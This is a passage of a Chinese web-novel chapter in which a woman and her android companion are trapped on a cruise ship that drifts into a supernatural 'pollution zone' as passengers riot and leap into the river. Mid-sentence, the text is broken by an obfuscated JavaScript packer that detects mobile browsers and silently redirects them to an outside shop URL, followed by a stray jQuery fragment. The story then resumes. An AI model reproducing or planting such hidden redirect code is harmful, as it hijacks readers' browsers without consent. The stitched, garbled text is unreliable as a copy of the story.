男人说得坦坦荡荡,裴雨的怀疑稍减,她又安慰了几句,男人便朝其他方向的人去了。
“这船这么大,他要问到什么时候呢?”裴雨看着他离去的背影有些感慨。
“不会太久,船快要靠近第一个码头了。”加里想了想说。
在船靠近码头时,正好十点钟,岸边会燃起烟火,届时人群混乱轰动,想要找人恐怕更困难了。
“我们好像从没吵过架。”裴雨顿了顿又幽幽道。
“怎么会这么想,我永远不会跟你吵。”加里微微皱眉。不过,他说这话是以加里的身份说的,而不是方时渚。
“也对哦,你怎么会跟我吵架。”裴雨语气中似乎还有些遗憾。
智能体永远不会反抗主人,这是他的优点,但在此时裴雨却觉得这好像也是个缺点。
他们正说着,船靠岸了。
水波轻轻,犹如一只手率先触到江岸,倒计时很快开始。正如加里所言,靠近十点钟的时候烟花一同绽开。
平整的湛蓝的天幕之上,闪着银光的尾巴不停地、缓慢地滑落,犹如星河倒悬。这艘巨大的游船竟然也只成为其下黑色的一片剪影。
人们屏气凝神,不约而同地将欢呼声压了下去,只留着同样闪烁着的光脑在记录这一刻。但是对比天上的光彩,这些也略显逊色了。
裴雨仰着头,目不转睛地看着,烟紫色和蓝粉色的光交替笼罩在她面孔上,荡开旖旎的光晕。
这一刻,没有谁再想起刚才急惶寻找女友的男人,也没有人记得消失的女人。
直到一声尖叫打破了沉寂。
烟花声是悉悉簌簌的,犹如积雨,给世界贴上一层又一层的银箔,而那声尖叫冷酷地划破了这层帷幕。
人群推推搡搡地出现一个小小的空档,这个空档里站着一个气愤的女人和刚才正在找人的男人。
他还没下船?裴雨觉得有些古怪。于是她拉着加里往人堆里挤了挤。
“你把我的衣服弄脏了!这是我专门买来旅游的新衣服!你给我赔!”女人涨红了脸怒道。
然而她扯着的衣服位置只有一个小小的洇开的水印,不像是难洗的污垢。天色昏暗,如果不是烟花照亮,根本就看不见这么小的地方。
“这位小姐,我说了我会赔你的,但是现在我还有急事,你怎么不依不饶呢?”男人脸色也不好看,他有些无奈也有些气愤。
“你说了有什么用?现在就把钱给我,洗不干净你别想走,我们现在就下船洗!”女人见他挪动脚步以为他要逃走,赶紧一把扯过他的袖子。
“我说了我要找我女朋友!”男人扬起声音,奋力挣脱,一不小心把女人推了个趔趄。
大庭广众之下,他们的矛盾层层升级,竟然有种要打起来的感觉。他们周边群众也意识到这一点,赶紧上去劝架,可是没劝几句就被两人无差别地攻击一通。
最开始上去劝架的小姑娘也愤愤不平,抱着胳膊一脸要看他们能怎么办的架势。
“到底是怎么回事啊?”不知道是谁扯了一嗓子,“要我说你赶紧赔钱吧,花钱消灾,不是说还要找人吗?”
“你说谁是灾?”女人立即横眉竖眼,寻着声音看去。
“什么理解能力啊,听不懂人话?”对方也被点起了火气,跟她吵起来。
几乎是几句话的功夫,两人吵架就变成了三人吵架,三人吵架又加入了第四人,继而像滚雪球一样越滚越大。
加里赶紧护着裴雨往后退,生怕一会儿打起来波及到他们,瞬间他也在注意着方向往船头走。
“有点不对劲,我们先下船吧。”裴雨也意识到了,小声道。
“好。”加里往右侧一转,揽着裴雨从一人身边走过。
要不涉足吵架的中心地带,他们必须绕个大弯子,所以速度没那么快。
“好像下雨了。”裴雨感到有滴水落在了她脸上。
“有么?”加里不由得停下脚步,他只感受到了有些腥气的江风。
“又没有了,可能是哪里滴的水吧。”裴雨没再觉察到第二滴,于是摇摇头。
“走路看着点人,没长眼啊!”
不知和谁的肩膀撞了一下,裴雨往前歪了歪,还没站稳就听到对方一句指责。
好刺耳。裴雨撇撇嘴,并没往心里去。
因为天黑,烟花已经停了,对方没有看到撞自己的是谁,所以也就没有继续追究下去,啐了一口又往反方向去了。
裴雨也没觉得有什么,倒是加里紧了紧拳头,而后他突然说了一句:“有点太黑了。”
对啊,裴雨突然意识到,虽然烟花停了但是周遭也不该这么黑的。船上上有灯,船体也挂着缤纷的灯带,怎么都不会是这种黑蒙蒙的分不清男女,看不清方向的情况。
并且,更奇怪的是,就连即将抵达的岸边也失去了它的光,裴雨一下子不知道新的码头在哪里了。
“岸边的光也没了,会不会是停电了?”她轻声问。
“不太像。”
“如果一直没有光我们该怎么靠岸?”
这下加里也沉默了,无法靠岸就无法下船,那么按照现在这种群情激愤的程度,他们迟早要跟别人发生口角,甚至爆发肢体冲突。
“先走,走快点吧。”加里说。
裴雨加快了脚步,虽然看不清岸边,但是因为吵架的缘故,大部分人都跑去船尾看热闹,他们只要逆着人流走就好了。
与此同时船也在慢慢地旋转,似乎在尝试对其岸边。
水波剧烈地晃动起来,裴雨走着,心头总有些不详的预感。这群人的火气太旺了,好奇心也来得太莫名其妙,万一真的成为一个群体性攻击事件了怎么办?
大概走了有几分钟,人明显变得少了。裴雨轻松了些,她活动活动脖子,准备跟加里说句话,却在光脑光亮的照映下看到他凝重的神情。
“出事了?”她下意识道。
“你看,船好像在往反方向去,它离岸了。”
这下裴雨的表情也不好看起来,反常的吵架,消失的女人,包括莫名其妙离岸继
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852061|202795||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
续航行的船,都让她心中的危机感进一步扩大。
“现在跑还来得及吗?”她问
“来不及了,而且……”加里扬起外套遮在她的头顶。
“下雨了。”
他说完船又往前走了一段路,接着豆大的雨滴一滴接着一滴掉了下来,就像刚才的烟花一样,很快连缀成线,灌向船舱。
一股浓郁的腥气从雨中冒出来,冲进裴雨的鼻子里,她赶忙掩住口鼻,含糊地说:“加里,好像真的出事了。”
瓢泼大雨很快将他们打湿,但丝毫没有浇灭人群的怒火,甚至有人扭打在一起。一下子好好的游船活动变成了角斗场。
摄影师这时也不知道从哪里钻了出来,脸色煞白,抱着摄像机惊慌道:“有人跳江了!”
顺着他指示的方向,裴雨看到了一个单薄的摇摆的人影,头发在空中乱飘,继而向下栽倒,消失不见。
裴雨呼吸一滞,她突然反应过来刚才的男人口中的“消失”有可能是怎么回事了。
“你看,你看,他们疯了吧,啊,小哥你说他们是疯了吗?怎么接二连三往下跳啊!”摄影师慌的都有些结巴了。
他看到一个熟悉的身影也跳了下去,正是刚才在找女朋友的男人。
船并没有停下,反而继续向前开着。江岸、烟花、跳下去的人都被其抛之脑后,它自顾自地行驶着,驶入茫茫的夜色深处。
不知何时,两岸更远处的高楼大厦也失去了光。
雨还在不停的下,腥气越来越重,叫人分不清是在江水之中还是在江面之上。
“糟糕了,这里恐怕已经变成污染区了。”裴雨缓缓道。她很不愿意承认自己那么倒霉,出来玩一趟还被卷入污染事件,更关键的是她手无寸铁,身边唯一靠得住的人不是队友而是没有任何攻击性的加里。
“什么意思啊小姐,别开这种玩笑,我们现在也跳下去吧,说不定能游过去呢。”摄影师已经开始胡说了。
“你设备不要了,看你这么宝贝,应该不能碰水吧。”裴雨反问。
“都这时候了,哪还管什么设备不设备的啊,我认了大不了上岸再买新的呗!”摄影师有些急了,恨不得拉着他们立刻就跳。
他丝毫没有意识到自己的想法有多荒谬。
“恐怕已经晚了。”加里冷静道。
“我们现在最应该找个救生圈,或者雨衣。”
这种船上不会有太高级的装备,但是他说的这两样应该是有的。只不过估计数量也有限,需要提前拿到手,有备无患。
船已经完全驶入夜色,茫茫水天相接,分不清东西南北。
这是一片已经被完全隔离出来的区域,一个正在逐渐成型的污染区。只不过裴雨还没有发现污染源头和污染规则是什么。当然,身处异地,他们也无法尽快联系到管理所的工作人员。
如果能找到刚才的男人就好了,他应该是导火索,可惜那一男一女都跳河了,死无对证。
他们正商量着,突然又有人扑通一声跳进了水里。